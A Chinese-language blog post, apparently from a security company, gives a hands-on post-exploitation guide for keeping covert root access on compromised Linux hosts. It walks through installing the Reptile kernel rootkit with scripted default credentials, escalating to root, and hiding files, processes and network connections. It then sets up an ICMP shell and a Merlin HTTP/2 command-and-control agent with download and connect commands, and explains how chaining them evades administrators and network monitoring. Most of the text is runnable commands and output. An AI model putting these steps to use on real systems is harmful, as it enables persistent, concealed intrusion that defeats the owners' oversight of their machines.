在後滲透過程中,如何維持住現有的root許可權是非常重要的是一件事,因此需要一套好的工具。

小編悄悄說:小編最近有了一個新願望~那就是希望大家能夠來大型攻防演練技術交流群裡面 van 耍~ 聽說裡面的人都可有趣了~(霧 ~

後滲透之Rootkit及入門

設計思路

現在常用的 linux 維持許可權的方法大多用 crontab 和開機自啟動,同時使用的大多是msf 或者其它的 tcp 連線來反彈 shell ,這種做法比較容易被管理員發現。所以我們想有一個非 tcp 連線、流量不容易被懷疑的後門,並且在大量的 shell 的場景下,可以管理 shell ,因此採用 reptile+ishell+merlin 的組合。

Reptile

Reptile 是種 LKM rootkit,因此具有很好的隱藏性和強大的功能。

LKM的全稱為 Loadable Kernel Modules,中文名為可載入核心模組,主要作用是用來擴充套件 linux 的核心功能。LKM的優點在於可以動態地載入到記憶體中,無須重新編譯核心。由於 LKM 具有這樣的特點,所以它經常被用於一些裝置的驅動程式,例如音效卡,網絡卡等等。當然因為其優點,也經常被駭客用於 rootkit 技術當中。

Reptile 具有的功能

Give root to unprivileged users

Hide files and directories

Hide processes

Hide himself

Hide TCP/UDP connections

Hidden boot persistence

File content tampering

Some obfuscation techniques

ICMP/UDP/TCP port-knocking backdoor

Full TTY/PTY shell with file transfer

Client to handle Reptile Shell

Shell connect back each X times (not default)

Reptile 用的是傳統的反彈 shell ,就算加了一些混淆,流量也十分明顯,所以我們不打算用 Reptile 的反彈功能,而採用了前五個功能。同時 reptile 還有很強的相容性,作者在下面的系統上都測試過了

Debian 9

: 4。9。0-8-amd64

Debian 10

: 4。19。0-8-amd64

Ubuntu 18.04.1 LTS

: 4。15。0-38-generic

Kali Linux

: 4。18。0-kali2-amd64

Centos 6.10

: 2。6。32-754。6。3。el6。x86_64

Centos 7

: 3。10。0-862。3。2。el7。x86_64

Centos 8

: 4。18。0-147。5。1。el8_1。x86_64

而我們在

ubuntu系:4。15。0-58-generic

centos系: 3。10。0-1062

也都測試過,並且在一些常見的低於上面的核心版本都可以正常使用。

安裝

reptile的安裝比較簡單,只需要安裝一些依賴就可以直接安裝

apt-get install vim gcc make g++ unzip -y

apt-get -y install linux-headers-$(uname -r)

安裝reptile

cd Reptile-master

chmod +x 。/setup。sh

。/setup。sh install

後滲透之Rootkit及入門

安裝reptile會出現幾個選項

Hide name (will be used to hide dirs/files) (default: reptile): 會被隱藏的檔案或檔名

Auth token to magic packets (default: hax0r):連線後門時的認證

tokenBackdoor password (default: s3cr3t):後門密碼

Tag name that hide file contents (default: reptile):標籤名,在該標籤中的內容都會被隱藏,感覺很雞肋,沒啥用,因為執行指令碼時也不會被識別, 在下面有標籤樣例

Source port of magic packets (default: 666): 源埠預設即可

Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段時間彈 shell ,這個功能很強,隱藏+開機自啟動,如果對方防範意識不高,可以使用這個。而且 reptile 的反彈 shell 管理和 msf 類似

Token: hax0rBackdoor password: s3cr3tSRC port: 666

TAGs to hide file contents:

#

content to be hidden#

下面貼一下ubuntu和centos的自動化指令碼

# reptile 2。0

$kernel=`uname -r`

# centos

yum -y install perl vim gcc make g++ unzip

# 由於Cenots核心管理不便,所以使用下載對應版本的kernel-devel到本地

yum -y localinstall kernel-devel-“$kernal”。rpm

cd Reptile-master/ && chmod +x 。/setup。sh

。/setup。sh install <

reptile

hax0r

s3cr3t

reptile

666

n

N

EOF

# ubuntu

apt-get install vim gcc make g++ unzip -y

apt-get -y install linux-headers-$(uname -r)

cd Reptile-master/ && chmod +x 。/setup。sh

。/setup。sh install <

reptile

hax0r

s3cr3t

reptile

666

n

N

EOF

用法

普通使用者提權

$ su coco

$ whoami

coco

$ /reptile/reptile_cmd root

You got super powers!

$ whoami

root

隱藏檔案和目錄

# 檔名中帶reptile的都會被隱藏

$ mkdir reptile_dir

$ mkdir reptile_file

$ ls -l

total 0

$ find / -name reptile_dir

$ find / -name reptile_file

# 由於reptile的安裝目錄和命令都帶有reptile字元,所以reptile本身就是隱藏的

隱藏程序

$ nohup ping 114。114。114。114 &

[1] 2571

nohup: ignoring input and appending output to ‘nohup。out’

$ ps -ef | grep ping | grep -v grep

root 2571 2015 0 06:41 pts/1 00:00:00 ping 114。114。114。114

$ /reptile/reptile_cmd hide 2571

Success!

$ ps -ef | grep ping | grep -v grep

$

隱藏 TCP/UDP 連線

# 所有跟設定的IP的TCP/UDP連線都會被隱藏

$ netstat | grep 192。168

tcp 0 0 localhost。localdoma:ssh 192。168。159。1:35076 ESTABLISHED

tcp 0 0 localhost。localdoma:ssh 192。168。159。1:38659 ESTABLISHED

tcp 0 0 localhost。localdoma:ssh 192。168。159。1:38653 ESTABLISHED

$ /reptile/reptile_cmd tcp 192。168。159。1 4444 hide

Success!

$ netstat | grep 192。168

$

其它用法可參考wiki

我們可以把這些包裝成函式寫成指令碼,可以提高使用效率

# this can hide hide the pid

function hide_process {

pid=$1

if [ -z “$pid” ]; then

read -p “please input the pid you want to hide:” pid

if [ -z “$pid” ]; then

echo “Invalid pid”

usage

exit 0

fi

fi

/reptile/reptile_cmd hide $pid

}

# can hide the connect by the ip

function hide_connect {

$type=$2

$ip=$3

if [ -z “$ip” ]; then

read -p “please input the ip you want to hide:” pid

if [ -z “$ip” ]; then

echo “Invalid ip”

usage

exit 0

fi

fi

/reptile/reptile_cmd $type $ip 4444 hide

}

透過這些功能配合其它工具的使用,可以達到來無影,去無蹤的效果。

ICMP SHELL

ICMP Shell(ISH)是類似於 telnet 的協議。它允許使用者連線到遠端主機並僅使用 ICMP開啟和傳送資料就可以開啟 shell 。ICMP Shell是用C語言編寫的,用於UNIX環境。

ICMP 雖然不是新技術,但是 ICMP 具有很好的隱蔽性,結合 reptile 可以隱藏 pid,達到我們想要隱藏後門的效果。

安裝

cd ISHELL-v0。2 && make linux

後滲透之Rootkit及入門

使用

服務端(靶機)

先來看看 ishd 的用法

# 。/ishd -h

ICMP Shell v0。2 (server) - by: Peter Kieltyka

usage: 。/ishd [options]

options:

-h Display this screen

-d Run server in debug mode (debug模式)

-i Set session id; range: 0-65535 (default: 1515) (會話id,作為連線時的識別id)

-t Set ICMP type (default: 0) (icmp的型別,預設選0)

-p Set packet size (default: 512) (包大小,512,1024等都可以)

example:

。/ishd -i 65535 -t 0 -p 1024

客戶端(攻擊機)

ish 用法和 ishd 一樣,只不過需要加個目標 ip

。/ish -i 12345 -t 0 -p 1024 $ip

Merlin

Merlin是使用 Golang 編寫的跨平臺的 HTTP / 2控制伺服器和代理。

與 ish 相反,HTTP/2 是新技術且還沒廣泛使用,並且 Merlin 在靶機上安裝的客戶端,並不是一直髮起連線,而是間隔的,所以也可以達到一定的隱蔽性,同時 Merlin還提供了管理 shell 的功能。

安裝

apt-get -y install p7zip-full

# 客戶端

wget https://github。com/Ne0nd0g/merlin/releases/download/v0。8。0/merlinAgent-Linux-x64-v0。8。0。BETA。7z

7z x merlinAgent-Linux-x64-v0。1。4。7z -pmerlin

# 服務端

wget https://github。com/Ne0nd0g/merlin/releases/download/v0。8。0/merlinServer-Linux-x64-v0。8。0。BETA。7z

7z x merlinServer-Linux-x64-v0。1。4。7z -pmerlin

使用

# 服務端 可以加上-debug檢視詳細資訊

。/merlinServer-Linux-x64 -p 443

# 客戶端

。/merlinAgent-Linux-x64 -url https://127。0。0。1:443

具體使用可以檢視 此影片 比較詳細

總結

在維持許可權的路上任重而道遠,圍繞隱蔽性做文章,因此有個好的rootkit是十分重要的。而在後門中,圍繞的重點要麼是不為人注意的協議,要麼是較新且沒有廣泛使用的協議。而當這兩者組合起來,就能做到很好的維權。首先,reptile 隱藏了 Merlin 和 ish 的 pid 及 tcp 連線,普通管理員無法在系統裡察覺到異常,而如果在交換機或者路由器檢視,也是正常的 https 流量以及正常的 https 埠。除此之外,就算封了 Merlin 的 ip 和埠,還有 tsh作為備用,不至於一次就失去了許可權。

當然,對於 linux 維持許可權的方法不止這些,還需要探索更多的 linux 維持許可權的方法,這樣才能更好的維持住許可權。現在的工具集也還有一些不足,比如更好的隱藏開機自啟動,需要進行深入的探索。

後滲透之Rootkit及入門

星闌科技微信公眾號

北京星闌科技有限公司(簡稱星闌科技)是一家以安全技術為核心、AI技術為驅動的網路安全科技公司,致力於提供高階攻防服務和智慧化網路安全解決方案,以應對政府、企業所面臨的日益嚴峻的網路安全威脅,讓網路空間更加安全與智慧。

目前,星闌科技提供攻防對抗、APT防禦、高階滲透等安全服務,為客戶全面梳理威脅矩陣、進行安全賦能。產品包括攻擊誘捕系統、郵件攻擊一體化系統、基於前沿的圖神經網路的智慧邊界防護引擎以及AI自動化漏洞挖掘系統,能全面提升客戶的安全防護能力並有效降低安全運維成本。

相關內容: